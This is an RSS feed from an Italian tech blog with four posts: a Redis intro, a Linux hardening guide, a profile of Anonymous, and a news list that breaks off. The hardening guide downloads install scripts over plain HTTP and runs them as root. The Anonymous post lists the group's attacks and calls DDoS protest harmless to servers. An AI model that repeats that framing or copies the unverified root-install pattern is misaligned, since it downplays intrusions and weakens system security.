<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
> <channel><title>Arturu.it &#187; Linux</title> <atom:link href="http://www.arturu.it/blog/category/linux/feed/" rel="self" type="application/rss+xml" /><link>http://www.arturu.it/blog</link> <description>Web 3.0? premi f11, poi f5 e poi sorridi...</description> <lastBuildDate>Wed, 11 Jan 2012 22:17:10 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=3.3.1</generator> <item><title>redis nosql come iniziare smanettarci con php</title><link>http://www.arturu.it/blog/2012/01/12/redis-nosql-come-iniziare-php/</link> <comments>http://www.arturu.it/blog/2012/01/12/redis-nosql-come-iniziare-php/#comments</comments> <pubDate>Wed, 11 Jan 2012 22:17:09 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[php]]></category> <category><![CDATA[programmazione]]></category> <category><![CDATA[Sistemista]]></category> <category><![CDATA[OpenSource]]></category> <category><![CDATA[Php]]></category> <category><![CDATA[Programmazione]]></category> <category><![CDATA[Software]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=974</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/php/" title="php">php</a><a
href="http://www.arturu.it/blog/category/programmazione/" title="programmazione">programmazione</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a></p>Da qualche giorno ho scoperto Redis e mi sto domando come iniziare ad utilizzarlo. Redis in parole povere è un database che lavora sulla ram, installato su un normale computer con un processore a singolo core riesce ad eseguire più [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/php/" title="php">php</a><a
href="http://www.arturu.it/blog/category/programmazione/" title="programmazione">programmazione</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a></p><p><a
href="http://www.arturu.it/blog/2012/01/12/redis-nosql-come-iniziare-php/redis-300dpi/" rel="attachment wp-att-977"><img
class="alignleft size-thumbnail wp-image-977" title="redis-nosql" src="http://www.arturu.it/blog/wp-content/uploads/2012/01/redis-300dpi1-150x150.png" alt="Logo di redis" width="150" height="150" /></a>Da qualche giorno ho scoperto Redis e mi sto domando come iniziare ad utilizzarlo. Redis in parole povere è un database che lavora sulla ram, installato su un normale computer con un processore a singolo core riesce ad eseguire più di 100.000 operazioni di lettura/scrittura al secondo. Avete presente memcache, aggiungete il supporto per per le liste e lo storage basato su disco, ecco, questo è più o meno Redis. Redis lo potete usare come database delle code o come server cache o in entrambi i modi.</p><p>Forse è meglio farsi spiegare cos&#8217;è Redis dal suo sviluppatore &#8220;Salvatore Sanfilippo&#8221;</p><pre><a href="http://code.google.com/p/redis/">Redis</a> è un database un pò bizzarro, rispetto ai canoni a cui siamo abituati, per due motivi principali:</pre><pre>1) Tiene tutti i dati in memoria anche se persiste sul disco. In pratica il disco serve solo nel caso in cui il database viene fermato e riavviato, a leggere nuovamente tutto il data set in memoria. Ma tutti gli accessi in lettura e scrittura vengono gestiti principalmente in RAM. Questo permette ad un singolo server Redis che gira su una macchina Linux normalissima, su un solo core, di raggiungere l’interessante prestazione di 100 mila query al secondo. Cosa più interessante le query in lettura e scrittura prendono lo stesso tempo.</pre><pre>2) Le operazioni che supporta sono molto diverse da quelle di un database SQL. Non c’è il concetto di tabella, e non è un semplice database Key-Value a cui si associa ad una stringa (la chiave) un’altra stringa (il valore). Infatti i valori possono essere di altri tipi, come liste, insiemi, insiemi ordinati, o semplicemente stringhe.</pre><p>Tratto da un&#8217;intervista di Salvatore Sanfilippo su <a
title="Leggi l'intervista" href="http://www.ossblog.it/post/5835/salvatore-antirez-sanfilippo-intervista-allo-sviluppatore-di-redis" target="_blank">ossblog.it</a></p><p>Bhe vediamo di smanettarci un po&#8217; su&#8230;</p><p><span
id="more-974"></span></p><p>Prima di tutto bisogna installare il server, su un sistema come ubuntu eseguiamo:</p><p>&nbsp;</p><pre> sudo apt-get install redis-server</pre><p>&nbsp;</p><p>Appena installato il server partirà sulla porta 6379. Per accedere tramite PHP al server Redis esistono molteplici librerie tra le quali: <a
title="libreira predis" href="https://github.com/nrk/predis/" target="_blank">Predis</a> e <a
title="Rediska" href="http://rediska.geometria-lab.net/">Rediska</a>. Invece su questo <a
title="librerie redis" href="http://redis.io/clients" target="_blank">link</a> trovate le <a
title="librerie redis" href="http://redis.io/clients" target="_blank">librerie Redis</a> per tutti gli altri linguaggi.</p><p>Senza che faccio copia e incolla, cosa che non mi piace tanto, potete trovare degli esempi su: <a
title="vedi articolo" href="http://kevin.vanzonneveld.net/techblog/article/redis_in_php/" target="_blank">kevin.vanzonneveld.net</a>, <a
title="predis" href="https://github.com/nrk/predis/blob/v0.7/README.md" target="_blank">predis</a>, <a
title="il blog dello sviluppatore" href="http://antirez.com/" target="_blank">antirez.com</a>.</p><p><a
title="articolo interessante" href="http://cosmicrealms.com/blog/2011/10/03/massive-decrease-in-memory-usage-with-redis-2-dot-4/" target="_blank">Qua</a> trovate un <a
title="articolo interessante" href="http://cosmicrealms.com/blog/2011/10/03/massive-decrease-in-memory-usage-with-redis-2-dot-4/" target="_blank">articolo interessante</a> sulle prestazioni.</p><p>Poi se non vi va d&#8217;installare niente potete sempre fare una prova su <a
title="Fai una prova" href="http://try.redis-db.com/" target="_blank">questo sito</a>.</p><p>La <a
title="documentazione" href="http://redis.io/documentation" target="_blank">documentazione ufficiale</a> la trovate <a
title="documentazione" href="http://redis.io/documentation" target="_blank">qua</a>.</p><p>Se vi piace il progetto e avete 30 minuti liberi potete leggere <a
title="in 30 minuti" href="http://openmymind.net/2011/11/8/Redis-Zero-To-Master-In-30-Minutes-Part-1/" target="_blank">Redis Zero To Master In 30 Minutes</a></p><p>Saluti a tutti, scusate se stavolta sono stato proprio rapido&#8230; <img
src='http://www.arturu.it/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2012/01/12/redis-nosql-come-iniziare-php/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Hardening Linux come utilizzare gli script: firewall, brute force e DDoS</title><link>http://www.arturu.it/blog/2011/08/03/hardening-linux-utilizzare-gli-script-firewall-brute-force-ddos/</link> <comments>http://www.arturu.it/blog/2011/08/03/hardening-linux-utilizzare-gli-script-firewall-brute-force-ddos/#comments</comments> <pubDate>Wed, 03 Aug 2011 15:40:57 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Linux]]></category> <category><![CDATA[News]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[OS]]></category> <category><![CDATA[Sistemista]]></category> <category><![CDATA[Soluzioni]]></category> <category><![CDATA[CentOS]]></category> <category><![CDATA[hardening]]></category> <category><![CDATA[OpenSource]]></category> <category><![CDATA[os]]></category> <category><![CDATA[protocolli]]></category> <category><![CDATA[Reti]]></category> <category><![CDATA[sicurezza]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=943</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a></p>Tempo fa in questo articolo sull&#8217;hardening di base dei sistemi linux si è parlato delle tecniche basilari per mettere in sicurezza un sistema linux esposto sulla rete. In questo articolo vedremo come aumentare di un altro gradino la sicurezza utilizzando [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/os/" title="OS">OS</a><a
href="http://www.arturu.it/blog/category/sistemista/" title="Sistemista">Sistemista</a><a
href="http://www.arturu.it/blog/category/solving/" title="Soluzioni">Soluzioni</a></p><p><a
href="http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/tux-pol-150x150/" rel="attachment wp-att-833"><img
class="alignleft size-full wp-image-833" title="Hardening linux" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/tux-pol-150x150.jpg" alt="" width="150" height="150" /></a>Tempo fa in questo articolo sull&#8217;<a
title="Hardening di base di un sistema linux ovvero i vaneggiamenti di un sysadmin paranoico" href="http://www.arturu.it/blog/2011/07/16/hardening-di-base-di-sistema-linux-ovvero-vaneggiamenti-di-sysadmin-paranoico/">hardening di base dei sistemi linux</a> si è parlato delle tecniche basilari per <strong>mettere in sicurezza</strong> un sistema linux esposto sulla rete. In questo articolo vedremo come aumentare di un altro gradino la sicurezza utilizzando alcuni tra gli <strong>script più famosi</strong>, ovvero: <strong>apf</strong> (Advanced Policy-based Firewall), <strong>bfd</strong> (Brute Force Detection) e <strong>DDoS Deflate</strong>. In questo articolo vedremo come installare i citati scripts e la prima configurazione, inoltre, vedremo dove si trovano i file di configurazione per eventuali regolazioni &#8220;di fino&#8221;. Questo articolo è rivolto a persone che hanno una buona padronanza dei sistemi linux, inoltre, l&#8217;uso del solo &#8220;copia e incolla&#8221; incosciente può causare un blocco del vostro sistema, come sempre consiglio di ragionare prima di compiere azioni avventate.</p><p><span
id="more-943"></span></p><h2>Installazione e configurazione di APF: Advanced Policy-based Firewall</h2><p>Questo script consente di pilotare iptables, su <a
title="Maggiori informazioni su apf" href="http://www.rfxn.com/projects/advanced-policy-firewall/" target="_blank">questa pagina</a> si trovano informazioni più dettagliate su apf. Per installare APF bisogna guadagnare i permessi di root e scaricare il seguente file:</p><pre># wget http://rfxnetworks.com/downloads/apf-current.tar.gz</pre><p>scompattiamo e installiamo</p><pre># tar xfz apf-current.tar.gz
# cd apf-*
# ./install.sh</pre><p>a questo punto il firewall è installato e bisogna configurarlo, apriamo il file:</p><pre>/etc/apf/conf.apf</pre><p>le prime opzioni da configurare sono le seguenti e rispettivamente servono per: attivare il firewall (di default, attraverso un cron job, ogni 5 minuti vengono aggiornate le regole); configurazione degli ingressi TCP e UDP attivi; AntiDos.</p><pre>DEVEL_MODE="1"
IG_TCP_CPORTS="21,22,25,53,80,110,143,443,3306"
IG_UDP_CPORTS="53,111"
USE_AD="1"</pre><p>successivamente possiamo far partire APF con il comando:</p><pre># apf --start</pre><p>Se non siamo contenti della configurazione possiamo muoverci tra la configurazione di APF, ogni singola impostazione è strettamente descritta nel file stesso. Se vogliamo modificare la configurazione AntiDos, per renderla più restrittiva dobbiamo editare il seguente file:</p><pre>/etc/apf/ad/conf.antidos</pre><h2>Installazione e configurazione di BFD: Brute Force Detection</h2><p>Questo è uno script che analizza i file di log alla ricerca di errori di autenticazione, per maggiori informazioni sul funzionamento si può consultare <a
title="Informazioni su bfd" href="http://www.rfxn.com/projects/brute-force-detection/" target="_blank">questa pagina</a>. Per installare BFD, come al solito guadagnamo i privilegi di root e rispettivamente con i seguenti comandi scarichiamo, scompattiamo e installiamo lo script:</p><pre># wget http://rfxnetworks.com/downloads/bfd-current.tar.gz
# tar xfz bfd-current.tar.gz
# cd bfd-*
# ./install.sh</pre><p>il file di configurazione si trova nella seguente posizione:</p><pre>/usr/local/bfd/conf.bfd</pre><p>attiviamo lo script e impostiamo una mail modificando le seguenti impostazioni</p><pre>ALERT="1"
EMAIL_USR="username@yourdomain.com"</pre><p>come per il precedente script possiamo modificare una miriade di impostazioni che si trovano nel file di configurazione, non è complicato in quanto ogni impostazione è minuziosamente descritta. Buona cosa è editare il file</p><pre>/usr/local/bfd/ignore.hosts</pre><p>inserendo il vostro IP, per evitare, in caso di errori, che lo script neghi a voi stessi l&#8217;accesso. Non ci resta che far partire lo script:</p><pre>/usr/local/sbin/bfd -s</pre><h2>Installazione e configurazione di DDoS Deflate</h2><p>Questo script inizialmente è stato sviluppare per funzionare sui server MediaLayer per arginare gli attacchi (D)Dos, molti sysadmin vista l&#8217;efficacia decidono di installarlo sui propri server. Come al solito guadagnamo i privilegi di amministratore e con i seguenti comandi scarichiamo e installiamo DDoS Deflate:</p><pre># wget http://www.inetbase.com/scripts/ddos/install.sh
# sh install.sh</pre><p>e già pronto per funzionare ma se vogliamo modificare qualche impostazione possiamo modificare il file:</p><pre>/usr/local/ddos/ddos.conf</pre><p>non ci resta che avviare lo script:</p><pre># /usr/local/ddos/ddos.sh -c</pre><h2>Conclusioni</h2><p>In questo articolo abbiamo visto come aumentare di una tacca la sicurezza del nostro sistema linux, ricordate sempre che la sicurezza in modo assoluto non esiste e buona fortuna.</p><p>Saluti</p><p>PS Per gli script appena installati ricordate che al riavvio non partiranno, bisogna impostarli per farli partire al reboot.</p><p>&nbsp;</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2011/08/03/hardening-linux-utilizzare-gli-script-firewall-brute-force-ddos/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Che cos&#8217;è anonymous, alla ricerca del movimento che vuole cambiare il mondo</title><link>http://www.arturu.it/blog/2011/07/30/che-cosa-e-anonymous-movimento-piano-mondo/</link> <comments>http://www.arturu.it/blog/2011/07/30/che-cosa-e-anonymous-movimento-piano-mondo/#comments</comments> <pubDate>Sat, 30 Jul 2011 01:20:29 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[News]]></category> <category><![CDATA[Web]]></category> <category><![CDATA[guy fawkes]]></category> <category><![CDATA[hacker]]></category> <category><![CDATA[internet]]></category> <category><![CDATA[movimento]]></category> <category><![CDATA[PA]]></category> <category><![CDATA[sicurezza]]></category> <category><![CDATA[social network]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=896</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/web/" title="Web">Web</a></p>Ultimamente mi ha incuriosito un movimento nato su Internet chiamato Anonymous. Il movimento nasce anni fa sulla piattaforma Imageboard di http://www.4chan.org/, dalla spontanea aggregazione di persone che commentavano la board /b/ firmandosi come Anonymous. Quel primo movimento caotico e multiculturale, [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/web/" title="Web">Web</a></p><p><a
href="http://www.arturu.it/blog/2011/07/30/che-cosa-e-anonymous-movimento-piano-mondo/300px-anonymous_flag-svg/" rel="attachment wp-att-898"><img
class="alignleft size-full wp-image-898" title="300px-Anonymous_Flag.svg" src="http://www.arturu.it/blog/wp-content/uploads/2011/07/300px-Anonymous_Flag.svg_.png" alt="Anonymous" width="216" height="148" /></a>Ultimamente mi ha incuriosito un <strong>movimento</strong> nato su <strong>Internet</strong> chiamato <strong>Anonymous</strong>. Il movimento nasce anni fa sulla piattaforma <a
title="Imageboard" href="http://it.wikipedia.org/wiki/Imageboard" target="_blank"><strong>Imageboard</strong></a> di <a
title="For Chan" href="http://www.4chan.org/" target="_blank">http://www.4chan.org/</a>, dalla spontanea aggregazione di persone che commentavano la board <a
title="Chan /b/" href="http://boards.4chan.org/b/" target="_blank">/b/</a> firmandosi come <strong>Anonymous</strong>. Quel primo movimento caotico e multiculturale, è formato da numerose culture e idee ma una tra tutte prevale e che accomuna i suoi membri: &#8220;Cambiare il Mondo e renderlo più giusto&#8221;; favoloso, chi non ha mai avuto un desiderio simile, un po&#8217; tutti penso. Questo movimento cresce e si diffonde in tutto il mondo, fino a diventare quello che è oggi, dai più definito superficialmente come un gruppo di <strong>hacker</strong> che compiono crimini, ma, secondo quello che ho visto fino ad ora, non è solo questo, c&#8217;è dell&#8217;altro.</p><p><span
id="more-896"></span></p><h2>Sviluppo del movimento</h2><p>Le prime notizie di azioni rilevanti del movimento si hanno nel 2006, gli Hacktivisti di <strong>Anonymous</strong> si scagliano contro un parco divertimenti dell&#8217;Alabama reo di aver vietato a un bambino affetto di AIDS di immergersi in una piscina. Successivo è l&#8217;attacco al sito di un autore radio-fonico, Hal Turner, colpevole di sostenere la tesi della supremazia della razza bianca su tutte le altre. Nel Dicembre 2007 gli Hacktivisti di <strong>Anonymous</strong> smascherano il pedofilo Chris Forcand segnalandolo alla polizia e fornendo prove della sua compevolezza.</p><p>Nel 2008 gli Hacktivisti di <strong>Anonymous</strong> si organizzano per combattere la famigerata e temibile setta di <a
title="Scientology" href="http://it.wikipedia.org/wiki/Scientology" target="_blank">Scientology</a>. In questa occasione molti manifestanti si mascherano da <a
title="Guy Fawkes" href="http://it.wikipedia.org/wiki/Guy_Fawkes" target="_blank">Guy Fawkes</a> temendo le ritorsioni della setta. La reazione di Scientology si fa sentire con azioni diffamatorie nei confronti di <strong>Anonymous</strong>, la setta defaccia un sito per ragazzini epilettici inserendo immagini in movimento che causano crisi firmandosi con il nome di <strong>Anonymous</strong>.</p><p>Il gruppo di Hacktivisti di <strong>Anonymous</strong> sostiene d&#8217;aver dato supporto informatico ai movimenti liberali dell&#8217;Iran, dello Zimbabwe, della Tunisia, dell&#8217;Egitto che poi sono sfociati nelle rivolte popolari atti a rovesciare i governi. In fine dando supporto agli Indignados spagnoli cavalcando il vento di anti-politica che sta nascendo in Europa.</p><p>Anonymous supporta e promuove i documenti di WikiLeaks. Attacca visa, paypal e altri istituti bancari quando essi decidono di non accettare più donazioni in favore di WikiLeaks.</p><p>Se volete approfondire l&#8217;aspetto storico, informazioni si trovano su wikipedia (presumibilmente scritte dagli stessi <strong>Anonymous</strong>): <strong><a
title="Anonymous" href="http://it.wikipedia.org/wiki/Anonymous" target="_blank">Anonymous</a></strong>, <a
title="Imageboard" href="http://it.wikipedia.org/wiki/Imageboard" target="_blank">Imageboard</a>.</p><h2>Il concetto di Hacktivista</h2><p>Attualmente, la maggior parte dei membri si definisce <a
title="Hacktivista" href="http://it.wikipedia.org/wiki/Hacktivism" target="_blank">hacktivista</a> e non hacker nel senso stretto del termine, la differenza è sottile e non di facile comprensione. Un hacktivista si definisce come un manifestante nel mondo digitale.</p><p>L&#8217;Hacktivista con la sola presenza su un sistema informatico esplica la sua funzione di protesta. Come tutti sanno quando un server ha un grosso numero di accessi incomincia a non funzionare bene, cioè inizia a razionalizzare le proprie risorse finché non fornirà più alcun dato. Finita la manifestazione di protesta gli <strong>hacktivisti</strong> abbandonano il server ed esso, senza alcun danno, inizia a fornire nuovamente dati.</p><p>Alcune volte tra gli hacktivisti si &#8220;intrufolano&#8221; veri e propri hackers che tentano di violare i sistemi informatici presi di mira, certamente è difficile capire se ci sono nessi tra gli hacktivisti e hackers.</p><h2>Gli hacker del movimento</h2><p>Questa possiamo dire che è la parte più estremista del movimento. Come tutti ben sanno, in Italia il movimento di <strong>Anonymous</strong> è diventato noto per gli attacchi, ad opera da parte di una corrente interna di <strong>hacker</strong>, verso alcuni siti web italiani e non:</p><ul><li>Enel.com, con la motivazione di &#8220;<em>ancora una volta mostra di perseguire i propri interessi in modo indegno. Al fine di costruire impianti idroelettrici in Guatemala, nel municipio di Cotazal, l&#8217;Enel assolda (con i denari di tutti gli italiani) 500 mercenari in assetto di guerra con passamontagna e forze antisommossa per occupare la comunità indigena maya ixil di San Felipe Chenla, che dal 3 gennaio sta protestando contro la Enel</em>&#8221; (fonte non più disponibile in quanto il sito che rivendicava l&#8217;attacco è stato oscurato);</li><li>i siti web della sony e specialmente la piattaforma di gioco online, a quanto pare gli hacktivisti di Anonymous sostengono che i videogiochi rimbecilliscono le persone;</li><li>molti siti governativi Statunitensi in quanto l&#8217;amministrazione americana ha arrestato l&#8217;hacker che ha fornito ad Assange i materiali riservati pubblicati su wikileaks;</li><li>Paypal in quanto ha rifiutato di accettare donazioni in favore di wikileaks;</li><li>molti siti delle università italiane per dimostrare alle stesse la fragilità dei loro sistemi;</li><li>il sito dell&#8217;Agicom con la denuncia di &#8220;<em>L&#8217;Agcom vorrebbe istituire una procedura veloce e puramente amministrativa di rimozione di contenuti online considerati in violazione della legge sul diritto d&#8217;autore.</em><br
/> <em>L&#8217;Autorità potrebbe sia irrogare sanzioni pecuniarie molto ingenti a chi non eseguisse gli ordini di rimozione, sia ordinare agli Internet Service Provider di filtrare determinati siti web in modo da renderli irraggiungibili dall&#8217;Italia. Il tutto senza alcun coinvolgimento del sistema giudiziario. Questa normativa dovrebbe entrare in vigore tra pochi giorni. Per questo chiediamo l&#8217;aiuto di tutti in questa protesta&#8221; contro misure che minano &#8220;alle fondamenta il diritto di avere una Rete libera e imparziale</em>&#8221; <a
title="Repubblica" href="http://www.repubblica.it/tecnologia/2011/06/28/news/anonymus_agcom-18348847/">fonte</a>;</li><li>i siti vicini al partito del Pdl, per la questione Agcom;</li><li>il Cnaipic, ma questa è una storia controversa in quanto ci sono state prima delle rivendicazioni e poi delle smentite, però non si capisce la motivazione;</li></ul><p>A quanto ho intuito, ma non lo posso dimostrare, il gruppo di hacker è alla ricerca di documenti &#8220;scottanti&#8221; che possono comprovare insabbiamenti e &#8220;la corruzione interna ai governi&#8221;, documenti che successivamente verranno usati per le altre fasi del loro <a
title="Il piano per cambiare il mondo" href="http://www.whatis-theplan.org/forum" target="_blank">piano</a>.</p><h2>Organizzazione</h2><p>Facendo un analisi molto superficiale <strong>Anonymous</strong> sembra un movimento caotico e totalmente anarchico, ma cercando di capire ed analizzando un pochino si scopre che non è del tutto così. Navigando tra i canali della chat ho notato una struttura organizzata per temi e aree geografiche, fatta eccezione per il caotico canale italiano; sul canale italiano gli attacchi al canipic hanno attirato una moltitudine di persone in cerca di fama, perciò, è stato quasi impossibile riuscire a capire che cos&#8217;è <strong>Anonymous</strong>.</p><p>A quanto ho capito <strong>Anonymous</strong> non ha una gerarchia o una linea gerarchica, ma è formata da gruppi autogestiti che perseguono un obiettivo comune: &#8220;Cambiare il Mondo e renderlo più giusto&#8221;. In bocca al lupo!</p><p>L&#8217;intera organizzazione del movimento non è gestita in un unico sito ma è distribuita su una moltitudine di siti web, quelli che sono riuscito a rintracciare sono i seguenti:</p><ul><li><a
title="Il piano per cambiare il mondo" href="http://www.whatis-theplan.org">http://www.whatis-theplan.org</a>, &#8220;Il piano per cambiare il mondo&#8221;;</li><li><a
title="http://anonops.blogspot.com/" href="http://anonops.blogspot.com/">http://anonops.blogspot.com/</a>;</li><li><a
title="http://anonops-ita.blogspot.com/" href="http://anonops-ita.blogspot.com/" target="_blank">http://anonops-ita.blogspot.com/</a></li><li><a
title="http://www.anonnewsnet.com/" href="http://www.anonnewsnet.com/">http://www.anonnewsnet.com/</a>;</li><li><a
title="http://anonnews.org/" href="http://anonnews.org/" target="_blank">http://anonnews.org/</a>;</li><li><a
title="http://www.whyweprotest.net/" href="http://www.whyweprotest.net/" target="_blank">http://www.whyweprotest.net/</a>;</li><li><a
title="http://hbgary.anonleaks.ch/" href="http://hbgary.anonleaks.ch/" target="_blank">http://hbgary.anonleaks.ch/</a>;</li><li><a
title="http://youranonnews.tumblr.com/" href="http://youranonnews.tumblr.com/" target="_blank">http://youranonnews.tumblr.com/</a>;</li><li><a
title="http://lulzsecurity.com/" href="http://lulzsecurity.com/" target="_blank">http://lulzsecurity.com/</a>;</li><li><a
title="http://anonplus.infiniteserve.com/" href="http://anonplus.infiniteserve.com/" target="_blank">http://anonplus.infiniteserve.com/</a>;</li><li><a
title="http://irc.lc/AnonOps/OpItaly" href="http://irc.lc/AnonOps/OpItaly" target="_blank">http://irc.lc/AnonOps/OpItaly</a> , la chat italiana;</li><li>tanti altri basta cercare su google o dai collegamenti dei siti citati.</li><li>numerosi account su twitter, facebook e social network in genere&#8230;</li></ul><h2>Il piano per cambiare il mondo in un anno</h2><p>Diciamo che è ambizioso come obiettivo. Per ora sono riuscito a trovare soltanto dei video su youtube, e &#8220;Il piano&#8221; è suddiviso in tre fasi dalla durata totale di un anno. La prima fase è iniziata il 15 Giugno 2011, presumibilmente è la fase di presentazione visto che stanno facendo tutto sto &#8220;baccano&#8221;. In che cosa consistano le altre due fasi non si riesce a capire in quanto nei video viene detto che &#8220;i dettagli saranno rilevati in seguito&#8221;. Ve ne propongo alcuni tra i più &#8220;folcroristici&#8221;:</p><p><iframe
src="http://www.youtube.com/embed/WE-WkBqf7j0" frameborder="0" width="560" height="349"></iframe></p><p><iframe
src="http://www.youtube.com/embed/2z2dAbgJreo" frameborder="0" width="425" height="349"></iframe></p><p><iframe
src="http://www.youtube.com/embed/Q2OUgDyH_Vo" frameborder="0" width="425" height="349"></iframe></p><p>&nbsp;</p><h2>Conclusioni</h2><p>Diciamo che queste sono le prime impressioni che mi son fatto su <strong>Anonymous</strong>. Sono molto curioso su questo movimento, specialmente di capire se la storia &#8220;Del cambiare il Mondo&#8221; fino a quanto può essere vera, comunque, ci sono molti punti oscuri che non riesco a spiegare. Vedremo che succede.</p><p>Saluti.</p><p>PS Se a &#8220;qualcuno&#8221; non è piaciuto l&#8217;articolo e decide di attaccarmi, lo faccia pure, sicuramente riuscirà a fare danni; sono abbastanza conscio che la sicurezza assoluta non esiste. In questo articolo ho solo raccontato, liberamente, ciò che son riuscito a vedere e a conoscere.</p><p>&nbsp;</p> ]]></content:encoded> <wfw:commentRss>http://www.arturu.it/blog/2011/07/30/che-cosa-e-anonymous-movimento-piano-mondo/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Notizie interessanti luglio 2011: Kernel 3, vmware 5, hack SecureID, Ebay, hack Skype, Anonymous</title><link>http://www.arturu.it/blog/2011/07/19/notizie-interessanti-luglio-2011-kernel-vmware-5-hack-secureid-skype-ebay-anonymous/</link> <comments>http://www.arturu.it/blog/2011/07/19/notizie-interessanti-luglio-2011-kernel-vmware-5-hack-secureid-skype-ebay-anonymous/#comments</comments> <pubDate>Tue, 19 Jul 2011 10:36:13 +0000</pubDate> <dc:creator>arturu</dc:creator> <category><![CDATA[Hacking]]></category> <category><![CDATA[Linux]]></category> <category><![CDATA[News]]></category> <category><![CDATA[Open Source]]></category> <category><![CDATA[Vulnerabilità]]></category> <category><![CDATA[Web]]></category> <category><![CDATA[hacker]]></category> <category><![CDATA[internet]]></category> <guid
isPermaLink="false">http://www.arturu.it/blog/?p=862</guid> <description><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/vulnerabilita/" title="Vulnerabilità">Vulnerabilità</a><a
href="http://www.arturu.it/blog/category/web/" title="Web">Web</a></p>Ecco un elenco di notizie degli ultimi due mesi che reputo interessanti per il modo informatico e le ripropongo ai lettori del blog. Gli argomenti spaziano da: rilascio del kernel linux 3.0, rilascio di vmware 5, SecureID violato, Ebay acquista [...]]]></description> <content:encoded><![CDATA[<p>Posted in <a
href="http://www.arturu.it/blog/category/hack/" title="Hacking">Hacking</a><a
href="http://www.arturu.it/blog/category/linux/" title="Linux">Linux</a><a
href="http://www.arturu.it/blog/category/news/" title="News">News</a><a
href="http://www.arturu.it/blog/category/open-source/" title="Open Source">Open Source</a><a
href="http://www.arturu.it/blog/category/vulnerabilita/" title="Vulnerabilità">Vulnerabilità</a><a
href="http://www.arturu.it/blog/category/web/" title="Web">Web</a></p><p><a
href="http://www.arturu.it/blog/2009/09/29/msn-messenger-video-bucato-buffer-overflow/tux-2/" rel="attachment wp-att-574"><img
class="alignleft size-full wp-image-574" title="tux" src="http://www.arturu.it/blog/wp-content/uploads/2009/09/tux.jpg" alt="" width="90" height="90" /></a>Ecco un elenco di notizie degli ultimi due mesi che reputo interessanti per il modo informatico e le ripropongo ai lettori del blog. Gli argomenti spaziano da: rilascio del kernel linux 3.0, rilascio di vmware 5, SecureID violato, Ebay acquista Magento, Skype violato, Social Network, una notizia di un mese fa su Anonymous.<br
/> <span
id="more-862"></span></p><ul><li>E&#8217; stato rilasciato il kernel linux 3.0 <a
title="Kernel.org" href="http://www.kernel.org" target="_blank">www.kernel.org</a> . La mail originale di Linus Torvald che annuncia il rilascio del kernel 3.0 <a
title="Mail di Linus Torvalds" href="http://lwn.net/Articles/444314" target="_blank">http://lwn.net/Articles/444314</a> .</li><li>Rilasciato VmWare ESXi 5 <a
title="VmWare ESXi 5" href="http://suretalent.blogspot.com/2011/05/vmware-esxi-50-release-features-of.html" target="_blank">http://suretalent.blogspot.com/2011/05/vmware-esxi-50-release-features-of.html</a></li><li>Lockheed Martin RSA tra i più grandi produttori di armi al mondo violata, a quanto pare è stato duplicato un token RSA SecurID. <a
